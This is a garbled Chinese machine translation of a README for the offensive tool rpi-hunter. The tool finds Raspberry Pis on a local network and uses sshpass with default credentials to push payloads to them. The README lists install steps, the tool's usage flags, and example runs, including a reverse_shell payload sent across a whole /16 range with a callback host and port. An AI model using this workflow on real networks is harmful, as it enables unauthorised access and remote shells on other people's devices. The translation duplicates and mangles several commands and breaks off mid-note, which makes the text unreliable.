- 通過ssh自動發現和删除LAN Raspberry Pi上的有效負載
- 或者,誠實的標題是:自動化sshpass進行命令傳遞。
當您的局域網上有多個具有默認或已知憑據的覆盆子Pi時,Rpi hunter非常有用,以便自動向它們發送命令/有效負載。
安裝
- 安裝依賴項:sudo pip Install-U argparse termcolor和sudo apt-y Install arp scan tshark sshpass
sudo pip install -U argparse termcolor
sudo apt -y install arp-scan tshark sshpass
- 下載rpi hunter:git clone https://github.com/BusesCanFly/rpi-hunter
git clone https://github.com/BusesCanFly/rpi-hunter
- 導航到rpi hunter:cd./rpi hunter
cd ./rpi-hunter
- 使rpi-hunter.py可執行:chmod+x rpi-hunter.py
chmod +x rpi-hunter.py
- 單行變數:sudo pip install-U argparse termcolor&&sudo apt-y install arp scan tshark sshpass&&git clone https://github.com/BusesCanFly/rpi-hunter&&cd./rpi hunter&&chmod+x rpi-hunter.py
sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py
用法
看看這段甜蜜的視頻和在NullByte的人寫的相關文章!
- 注意:對於新用戶,我對rpi hunter進行了一些更新,以修復一些錯誤並添加一些其他功能:)運行命令/rpi-hunter.py將自動掃描整個本地網絡,並在找到的任何raspberry pi上運行whoami命令
./rpi-hunter.py
whoami
usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
[-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
[--safe] [-q]
optional arguments:
-h, --help show this help message and exit
--list List available payloads
--no-scan Disable ARP scanning
-r IP_RANGE IP range to scan
-f IP_LIST IP list to use (Default ./scan/RPI_list)
-u UNAME Username to use when ssh'ing
-c CREDS Password to use when ssh'ing
--payload PAYLOAD (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
-H HOST (If using reverse_shell payload) Host for reverse shell
-P PORT (If using reverse_shell payload) Port for reverse shell
--safe Print sshpass command, but don't execute it
-q Don't print banner
- 運行./rpi-hunter.py--list查看可用的有效載荷。
運行./rpi-hunter.py--list查看可用的有效載荷。
./rpi-hunter.py --list
- 有效負載可以由--list中的有效負載名稱指定,也可以作為原始inputex指定。--payload reverse_shell或--payload[此處是cli命令]
有效負載可以由--list中的有效負載名稱指定,也可以作為原始輸入
--list
- 例如--payload reverse_shell或--payload[這裡是cli命令]
--payload reverse_shell
--payload [your cli command here]
- 示例用法:./rpi-hunter.py-r 192.168.0.0/16--payload reverse_shell-H 127.0.0.1-p1337注意:只有“reverse_shell”有效負載需要-H和-P標誌。/rpi-hunter.py-c lamepassword--payload“ls-lah\~”注意:確保用\
示例用法:
- ./rpi-hunter.py-r 192.168.0.0/16—有效載荷反向_shell-H 127.0.0.1-P 1337注意:只有“反向_shell”有效載荷需要-H和-P標誌
./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
- 注意:只有“reverse_shell”負載需要-H和-P標誌
-H
-P
- ./rpi-hunter.py-c lamepassword--payload“ls-lah\~”注意:確保用\
./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
- 注意:確保用\
\